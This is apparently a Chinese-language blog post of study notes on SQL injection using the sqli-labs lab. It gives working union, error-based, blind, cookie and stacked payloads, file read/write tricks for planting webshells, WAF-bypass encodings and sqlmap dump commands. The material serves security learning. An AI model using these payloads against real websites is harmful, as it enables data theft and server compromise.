2-SQL注入渗透与攻防

1、SQL注入基础

1.1 什么是sql注入

一、SQL注入概述

二、数据库概述

1.关系型数据库

关系型数据库,存储格式可以直观的反映实体间的关系,和常见的表格比较相似
关系型数据库中表与表之间有很多复杂的关联关系的
常见的关系型数据库有MySQL、Orcale、PostgreSQL、SQL Server等

2.非关系型

随着近些年技术方向的不断扩大,大量的NoSQL数据库如 Mon goDB,Redis出于简化数据库结构,避免冗余或影响性能的表连接。摒弃复杂分布式的目的被设计
NoSQL数据库适合追求速度和可拓展性,业务多变的场景

1.2 MYSQL语句语法

一、回顾SQL语句语法

打开phpstudy启动服务,进入mysql/bin,进入cmd
进行登录 mysql -uroot -proot -h 127.0.0.1

查询当前数据库服务器所有的数据库:show databases;
选中某个数据库:use 数据库名字;
查询当前数据库所有的表:show tables;
查询t1表所有数据:select * from t1;
条件查询:select * from t1 where id=1;

合并查询:select * from t1 where id=2 union select * from t1 where pass=111;
2个特性:前面的查询语句 和 后面的查询语句 结果互不干扰!
前面的查询语句的字段数量 和 后面的查询语句字段的数量 要一致(比如*号)
报错:select id from t1 where id=2 union select * from t1 where pass=111;
修改:select id from t1 where id=2 union select pass from t1 where pass=111;

排序:select * from t1 order by pass;
在sql注入中用来拆解表的列数
用法:order by 1;order by 2;...;一直到报错位置,可以爆破出当前的表有几列

1.3 系统库

一、系统库

提供了访问数据库元数据的方式,是系统自带的数据库(一共四个)
元数据是关于数据的数据,如数据库名或表名,列的数据类型,或访问权限等。

1.information_schema库(61张表)

是信息数据库,其中保存着关于MySQL服务器所维护的所有其他数据库的信息;例如数据库或表的名称,列的数据类型或访问权限。有时用于此信息的其他术语是数据字典和系统目录。web渗透过程中用途很大。

SCHEMATA表:提供了当前MySQL实例中所有数据库信息,show databases结果取之此表的SCHEMA_NAME字段。

TABLES表:提供了关于数据中表的信息。table_name

COLUMNS表:提供了表的列信息,详细描述了某张表的所有字段的字段信息。column_name

2.performance_schema库(87张表)

MySQL5.5开始新增一个数据库:PERFORMANCE_SCHEMA,主要用于收集数据库服务器性能参数。内存数据库,数据放在内存中直接操作的数据库。相对于磁盘,内存的教据渎写速度要高出几个数量级。

3.mysql库

是核心数据库,类似于sqlserver中的master表,主要负责存储数据库的用户(账户)信息、权限设置、关键字等mysql自己需要使用的控制和管理信息。不可以删除。如果对mysql不是很了解,也不要轻易修改这个数据库里面的表信息。常用举例:在mysql.user表中修改root用户的密码。

4.sys库(1个表,100个视图)

sys库是MySQL5.7增加的系统数据库,这个库是通过视图的形式把information_schema和performance_schema结合起来,查询出更加令人容易理解的数据。可以查询谁使用了最多的资源,哪张表访问最多等。

2、MYSQL手工注入

2.1 sqli-labs环境搭建

SQLi-Labs是一个专业的SQL注入练习平台,适用于GET和POST场景,包含了以下注入:
1、基于错误的注入(Union Select)
字符串
整数
2、基于误差的注入(双查询注入)
3、盲注入(01、基于Boolian数据类型注入,02、基于时间注入)
4、更新查询注入(update)
5、插入查询注入(insert)
6、Header头部注入(01、基于Referer注入,02、基于UserAgent注入,03、基于cookie注入)
7、二阶注入,也可叫二次注入
8、绕过WAF
绕过黑名单\过滤器\剥离\注释剥离 OR & AND 剥离空格 和 注释剥离UNION和SELECT
隐瞒不匹配
9、绕过addslashes()函数
10、绕过mysql_real_escape_string()函数(在特殊条件下)
11、堆叠注入(堆查询注入)
12、二级通道提取

2.2 手注

一、SQL注入知识点


二、SQL注入流程(SQLi第二关)

浏览器进行数据提交到服务器:
GET提交:通过URL提交 数据长度有限制 速度快
POST提交:直接通过服务器提交 安全性高 可通过数据量大

1.有无注入点 (and 1 = 1;)

或随便输入内容,若报错则说明有注入点,没报错则说明有可能被过滤了

2.猜解列名数量 (order by 1(2)(3))

不断尝试直到报错 (%20表示空格)

3.通过报错方式,判断回显点 (.../index.php?id=-1 union select 1,2,3)

由于union需要 前面的 和 后面的 字段要保持一致,所以需要猜解列名

4.信息收集 (union select 1,version(),database())

通过回显点,进行信息收集
数据库版本 version()、数据库名database()
收集所有库名union select 1,group_concat(schema_name),3 from information_schema.schemata

5.查询库中有哪些表名

数据库库名:security
通过系统库查找表名:information_schema.tables
table_name
查询security库下面的所有的表名:
(union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security')
表名很多时,不一定在页面能显示----group_concat(table_name)合并相同值
security字符可以 转换 database()代替

6.查询表里有哪些字段

表名:users
(union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users')
users字符可以 转换 成16进制0x7573657273代替

7.查询数据

发现users表中有username、password字段
select username,password from users;

union select 1,2,(select group_concat(username,0x3a,password) from users)
0x3a表示分号符‘:’

2.3 高权限注入(上)

多个网站的不同数据库,是可以部署在同一个mysql服务器中的

一、MySQL权限介绍

系统库mysql数据库中,存在4个控制权限的表,分别为user表,db表,tables_priv表,columns_priv表。权限从大到小-依次排列

1.查看mysql有哪些用户

select user,host from mysql.user;

2.查看用户对应权限

select * from user where user='root' and host='localhost'\G;
(\G表示按列打印)

3.创建mysql用户

执行create user/grant命令
CREATE USER 'test1'@'localhost' IDENTIFIED BY '123456';

4.只提供id查询权限

grant select(id) on test.t1 to test1@'localhost' identified by '123456';

5.把普通用户变成管理员

grant all privileges on . to 'test1'@'localhost' with grant option;

6.删除用户

use mysql
drop user test1@'localhost';

2.4 高权限注入(下)

同2.3流程,但是不同的是,通过SQLI的数据库,拿到test数据库下的数据。
条件1:用户权限必须为root
条件2:只能对高版本的Mysql进行注入,依赖information库

2.5 SQL注入之文件读写

原理:利用文件的读写权限进行注入,可以写入一句话木马 或 读取系统文件的敏感信息。

一、文件读写注入条件

为root用户
高版本的MYSQL添加了一个新特性secure_file_priv该选项限制了mysql导出文件的权限。
secure_file_priv选项

linux
cat /etc/my.cnf
        [mysqld]
        secure_file_priv=

win
    my.ini
        [mysqld]
        secure_file_priv=

show global variables like '%secure%'; 查看mysql全局变量的配置

1.读写文件需要secure_file_priv权限

secure_file_priv="" 代表文件读写没有限制
secure_file_priv=NULL 代表不能读写文件
secure_file_priv=d:/phpstudy/mysql/data 代表只能对该路径下的文件进行读写

2.常见网站绝对路径

Windows常见:

Phpstudy    phpstudy/www
            phpstudy/PHPTutorial/www
Xampp       xampp/htdocs
Wamp        wamp/www
Appser      apppser/www

Linux常见:

/var/mysql/data
/var/www/html

路径获取常见方式:
报错显示,遗留文件,漏洞报错,平台配置文件等

3.读取文件(第二关)

使用函数:load_file()
后面的路径可以是单引号,0x,char转换的字符。
注意:路径中的斜杠是/不是
一般可以与union中作为一个字段使用,查看config.php(即mysql密码),apache配置...
select load_file('c:/test/t1.txt');
?id=-1 union select 1,load_file('c:/test/t1.txt'),3

4.写入文件

使用函数:Into Outfile(能写入多行,按格式输出) 和 into Dumpfile(只能写入一行且没有输出格式)
outfile 后面不能0x开头或者char转换以后的路径,只能是单引号路径
?id=-1 union select 1,'88888888',3 into outfile 'c:/test/t2.txt' --+
(报错,由于存在LIMIT 0,1,所以把后面用--+进行注释)
(LIMIT 0,1 表示从0开始,前进1位数字。如有A、B、C、D、E数据,一行显示不下)
(则0,1显示A,1,1显示B,2,1显示C,3,1显示D)

2.6 SQL注入之基础防护

发现无论是读取还是写入文件,都需要路径
例如可以用php自带的魔术引号(Magic Quote)来进行防御

一、魔术引号

是一个自动将进行PHP脚本的数据进行转义的过程,会在' " /前面加入反斜杠\转义符
在php.ini文件内找到

magic_quotes_gpc = On  开启
magic_quotes_gpc = Off 关闭

但是很容易被绕过,且对程序员有一定的影响。

二、内置函数

1.做数据类型的过滤/判断,限制传入的数据类型
2.关键字过滤

3、数据类型与提交方式

3.1 数据类型

进行SQL注入第一步,判断有无SQL注入点(随意输入,如:id=1)

一、数字型注入点(第二关)

$id = $_GET(id)
$sql = "SELECT * FROM users WHERE id=$id LIMIT 0,1";
发现(and 1 = 1)显示结果;
发现(and 1 = 2)不显示结果;

二、字符型注入点(第一关)

$id = $_GET(id)
$sql = "SELECT * FROM users WHERE id='$id' LIMIT 0,1";
发现(and 1 = 1)显示结果;
发现(and 1 = 2)显示结果;
由于mysql将 id = '1 and 1 = 2' 当做了一个整体,所以会自动过滤掉1后面的字符

所以当输入?id=1'时,mysql会报错!因为多了一个单引号',所以存在字符型注入点

三、搜索型注入点

例如存在你搜索部分关键字,但是sql会帮你自动补全,并显示所有可能的结果
like 模糊查询
% % 通配符
#、%23、--+ 是注释符
select * from users where username like '%D%'(包含d的数据)

注入方式:y%' or 1=1#
会显示所有数据,而不是包含y的数据,因为or 1=1始终为ture

四、其他型注入点

除了单引号' 双引号" 还可能有括号()

为了闭合!!

3.2 提交方式

一、GET方式注入

主要是通过url中传输数据到后台,带入到数据库中去执行,可利用联合注入方式直接注入
场景:数据不敏感,安全需求不高,长度有限2kb,速度快

二、POST方式注入(第11关)

post提交方式主要适用于表单form的提交,用于登陆框的注入,数据直接传递给服务器

方法:利用BurpSuite抓包进行重放修改内容进行,和get差别是需要借助抓包工具进行测试,返回结果主要为代码,也可以转化为网页显示

三、Cookie提交注入

$c = $_COOKIE['s'];
通过抓包,修改Cookie参数

三、Request方式注入

$c = $_REQUEST['s'];
理解:无论哪种方式都能提交

$_SERVER[];
例如:该函数可以获取当前用户的IP、主机名等,用于适配移动端和PC端

四、HTTP头注入

3.3 靶场案例练习

一、第11关 Less-11 POST - Error Bassed - Single quotes - String(基于错误的POST型单引号字符型注入)

1.通过抓包工具BurpSuite

查看源码,就是普通的POST提交

在红框处修改sql语句,如:zhangsan' union select 1,database()--+

二、第20关 Less-20 POST -Cookie injections - Uagent field - Error based(基于错误的cookie头部POST注入)

1.通过抓包工具

查看源码,发现虽然调用了POST提交,但是传递到了check_input函数,其中调用了魔术引号,所以Less-11的方法无法注入,考虑cookie注入
Cookie注入:绕过一些常规的防御手段

2.通过admin、admin登录,刷新并且抓包

3.send to repeater,修改其中的cookie数据

4.或删除尾部的Submit,并在头部手动添加Cookie

Cookie:uname=zhangsan' union select 1,2,database()--+

4、查询方式及报错注入

4.1 查询方式

当进行SQL注入时,有很多注入会出现无回显的情况,其中不回显的原因可能是SQL语句查询方式为问题导致的,这个时候我们需要用到报错后者盲注进行后续操作,同时在注入点过程中,提前了解其中SQL语句可以更好地选择对应的注入语句。

一、select查询数据

例如:在网站应用中进行登录,进行数据显示查询操作
select * from user where id=$id

二、delete删除数据

例如:删除购物车中的商品,后台管理后面删除文章删除用户等操作
delete from user where id=$id

三、insert插入数据

例如:在网站应用中进行用户注册添加操作
insert into user (id,name,psw) values(1,'zhangsan','123456')

四、update更新数据

例如:后台中心数据同步或者缓存操作
update user set pwd='p' where id = 1

4.2 报错盲注(基于报错的SQL盲注 - 报错回显)(强制性报错)

当不存在回显点时,则需要用到!!

一、基础函数

1.updatexml():从目标XML中更改包含所有查询值的字符串

第一个参数:XML_document是String格式,为XML文档对象的名称,文中为DOC
第二个参数:XPath_String(Xpath格式字符串)
第三个参数:new_value是String格式,替换查找到的符合条件的数据
updatexml(XML_document,XPath_String,new_value);
'union select 1,extractvalue(1,concat(0x7e,(select version())))%23
(%23是#的意思)
'or updatexml(1,concat(0x7e,database()),0) or'
OR 可以少写一个union

2.extractvalue():从目标XML中返回包含所有查询值的字符串

第一个参数:XML_document是String格式,为XML文档对象的名称,文中为DOC
第二个参数:XPath_String(Xpath格式字符串)
extractvalue(XML_document,XPath_String)
'or extractvalue(1,concat(0x7e,database())) or'

二、利用(第11关)

原理:在XPath参数处,填上我们想要的SQL语句,这样系统会导致强制报错
如:首先使用抓包工具,然后右键Send to Repeater!
union select 1,extractvalue(1,(select version()))%23显示不全
union select 1,extractvalue(1,concat(0x7e,(select version()),0x7e))%23显示完整
(0x7e是波浪线)

达到报错回显的目的!
union select 1,extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())))%23

同理:updatexml函数
union select 1,updatexml(1,concat(0x7e,(select version()),0x7e),3)%23

4.3 延时注入(基于时间的SQL注入 - 延时判断)

既没有回显点,也没有对应的报错信息!!

一、知识储备

函数 功能
sleep(3) 休眠3秒
if(a,b,c) a条件成立 执行b,条件不成立 执行c
mid(a,b,c) 从b开始,截取a字符串的c位
substr(a,b,c) 从b开始,截取字符串a的c长度
left(database(),1) left(a,b)从左侧截取a的前b位
length(database())=8 判断长度
ord=ascii ascii(x)=100 判断x的ascii值是否为100

如:select * from t1 where id=1 and sleep(if(database()='test',3,0));

二、步骤(第二关)

1.猜解数据库名的长度

如果数据库名的长度为8,则转圈圈5秒后相应,否则立即响应
?id=1 and sleep(if(length(database())=8,5,0))

2.一个一个字母猜

通过mid()或substr()函数,两者效果一样
实例:数据库名test
select mid(databaase(),1,1);
显示:t
select mid(databaase(),1,2);
显示:te

或者通过left()函数
实例:数据库名test
select left(database(),3);
显示:tes

截取数据库名的第一位的前两位是否等于'te'
?id=1 and sleep(if(mid(database(),1,2)='te',5,0))

3.联合

security数据库中第一张表为emails
由于选取了limit 0,1所有是emails表,且mid截取了第一个字符'e',ascii码为101
if(ascii(mid((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101,sleep(5),0)

4.4 布尔盲注(基于布尔的SQL盲注 - 逻辑判断)

一、什么是布尔盲注?

Web的页面仅仅会返回True和False,那么布尔盲注就是进行SQL注入之后,然后根据页面返回的True或者是False来得到数据库中的相关信息

二、流程

基于无回显的情况下,但是是否查询成功,会显示不同的Web页面(如第5关),所以可以进行猜

1.判断有无注入点

and 1=1、or 1=1

2.判断数据类型

数字型、字符型、单引号、双引号

3.结合二分法猜解(ascii码0-127)

length()>64 -> length()>96
mid()、substr()、left()

三、靶场实际案例(第5关)

1.猜解数据库的长度

用and连接,看页面是否正常显示
?id=1' and length(database())=8--+

2.猜解数据库的名字

?id=1' and ascii(mid(database(),1,1))>115--+ 非正常
?id=1' and ascii(mid(database(),1,1))>116--+ 非正常
?id=1' and ascii(mid(database(),1,1))=115--+ 正常s
?id=1' and ascii(mid(database(),2,1))=101--+ 正常e
?id=1' and ascii(mid(database(),3,1))=99 --+ 正常c

3.猜解表名

第一张表emails、第二张表referers
?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101--+ 字符e正确emails

?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))=109--+ 字符m正确emails

?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))=114--+ 字符r正确referers

盲注总结

盲注分为三种:
1.报错型盲注:根据页面返回的报错信息,来判断的即为报错型盲注
2.时间型盲注:根据页面返回的时间,来判断的即为时间型盲注
3.布尔型盲注:根据页面返回的对错,来判断的即为布尔型盲注

4.5 解密注入(第21关)

1.信息收集

首先通过admin、admin登陆页面,通过抓包可以发现是Cookie注入
其中Cookie:uname=YWRtaW4%3D(发现是base64加密,其中%3D是字符=)

2.可以结合报错注入,爆出数据库名

Cookie:admin' or extractvalue(1,concat(0x7e,database())) or'
修改为:
Cookie:YWRtaW4nIG9yIGV4dHJhY3R2YWx1ZSgxLGNvbmNhdCgweDdlLGRhdGFiYXNlKCkpKSBvcic=

4.6 堆叠注入

在SQL中,分号; 是用来表示一条sql语句的结束,试想一下我们在; 结束一个sql语句后面继续构造下一条语句会不会一起执行?因此这个想法也就造就了堆叠注入。

条件:如Oracle不支持

一、实战靶场(第38关)

?id=1';insert into users(id,username.password) values('11','22','33')--+
区别:union 必须 前后的操作和字段 一致,如:都是select且都是*

5、WAF绕过

WAF拦截原理:WAF从规则库中匹配敏感字符进行拦截。
常见:网站安全狗、宝塔、阿里云云盾

5.1 绕过方式

一、数据

大小写、加密解密、编码解码、等价函数、特殊符号、反序列化、注释符混用

二、方式

更改提交方式、变异

三、其他

Fuzz大法、数据库特性、垃圾数据溢出

5.2 绕过姿势

一、防止 and 和 or

如果此时是POST或REQUEST提交。
则可以用firefox hackbar的post提交绕过WAF。

二、关键词大小写绕过

举例:union select ---> unIOn SeLEct

三、内联注释符绕过 ---> 拦截database()、version()整体

思路:发现不会单独拦截database或(),所以想办法分开!
举例:database /**/ () 中间插入注释
外联注释: --+ 、# 、%23
内联注释:/*这个是注释*/

语句:union select = /*!union*/ select
注释符里的感叹号后面的内容会被mysql执行
语句:id=-1 union select 1,database/**/(),3

四、HTTP参污染

原理:对目标发送多个参数,如果目标没有多参数进行多次过滤,那么WAF对多个参数只会识别其中的一个。
举例:?id=1&id=2&id=3
?id=1/**&id=-1%20union%20select%201,2,3%23*/

五、编码绕过

针对WAF过滤的字符编码,如使用URL编码、Unicode编码、十六进制编码、Hex编码等。
举例:union select 1,2,3# ---> union %0a select 1\u002c2,3%23

六、双写绕过

部分WAF只对字符串识别一次,删除敏感字段并拼接剩余语句,这时,我们可以通过双写来进行绕过。
举例:UNIunionON,SELselectECT,anandd

七、同义词替换

and = &&
or = ||
'=' = '=<、>'
空格不能使用 = %09、%0a、%0b、%0c、%0d、%20、%a0等
注:%0a是换行也可以代替空格

总结

WAF绕过思路就是让WAF的检测规则识别不到你所输入的敏感字符,利用上述所介绍的知识点,灵活结合各种方法,从而增加绕过WAF的可能性

order by and or 绕过:%20/*//--/*/
举例:order%20/*//--/*/by 3

联合绕过:union/*//--/*/  /*!--+/*%0aselect/*!1,database(),3*/ --+
核心就是:union #
    %0a换行  select

from绕过:/*!06447%23%0afrom*/

%0a表示换行、%20表示空格

6、sqlmap

6.1 sqlmap安装

安装地址:https://sqlmap.org(Kali自带)
可能会访问过多,导致多并发

常用指令:
-u:用于get方式提交,后面跟注入的url网址
-r:加载一个文件
-p:指定扫描的参数
--current-db:当前数据库
--forms:自动检测表单

--dbs:获取所有数据库
--tables:获取所有数据表
--columns:获取所有字段
--dump:打印数据

-D:查询选择某个库
-T:查询选择某个表
-C:查询选择某个字段

--level:执行测试的等级(1~5,默认为1),使用-level参数并且数值>=2的时候会检查cookie里面的参数,当>=3时检查user-agent和referer
--risk:执行测试的风险(0~3,默认为1),默认是1会测试大部分的测试语句,2会增加基于事件的测试语句,3会增加or语句的sql注入

6.2 sqlmap使用(get型注入 -u)

cmd执行语句:sqlmap.py -u "http://127.0.0.1/sqli-labs/Less-2/?id=1"

修改第二个问题:对于剩余的测试,您想要包括所有针对“MySQL”扩展提供的级别(1)和风险(1)值的测试吗?

执行成功后,
cmd执行语句:sqlmap.py -u "http://127.0.0.1/sqli-labs/Less-2/?id=1" --dbs
以及:sqlmap.py -u "http://127.0.0.1/sqli-labs/Less-2/?id=1" -D "security" --tables
以及:sqlmap.py -u "http://127.0.0.1/sqli-labs/Less-2/?id=1" -D "security" -T "users" --columns
以及:sqlmap.py -u "http://127.0.0.1/sqli-labs/Less-2/?id=1" -D "security" -T "users" -C "id,password,username" --dump

6.3 sqlmap使用(post型注入)

POST型:与数据库交互是通过post数据进行,URL不可见
利用sqlmap进行POST注入,常见的有三种方法:

一、注入方式一(第12关)--> ")闭合

1.用BurpSuite抓包,将抓包内容复制保存到txt中

2.打开cmd进入sqlmap,输入命令

cmd命令:sqlmap.py -r C:\Users\11277\Desktop\渗透\2-SQL注入渗透与攻防\Less_12.txt -p uname --current-db

二、注入方式二:自动搜索表单注入

cmd命令:sqlmap.py -u "http://127.0.0.1/sqli-labs/Less-12/index.php" --forms
会检测网站php源码中的form表单,如uname、passwd、submit,局限:无法进行头部注入

posted @ 2024-11-18 15:59  xmh666  阅读(66)  评论(0编辑  收藏  举报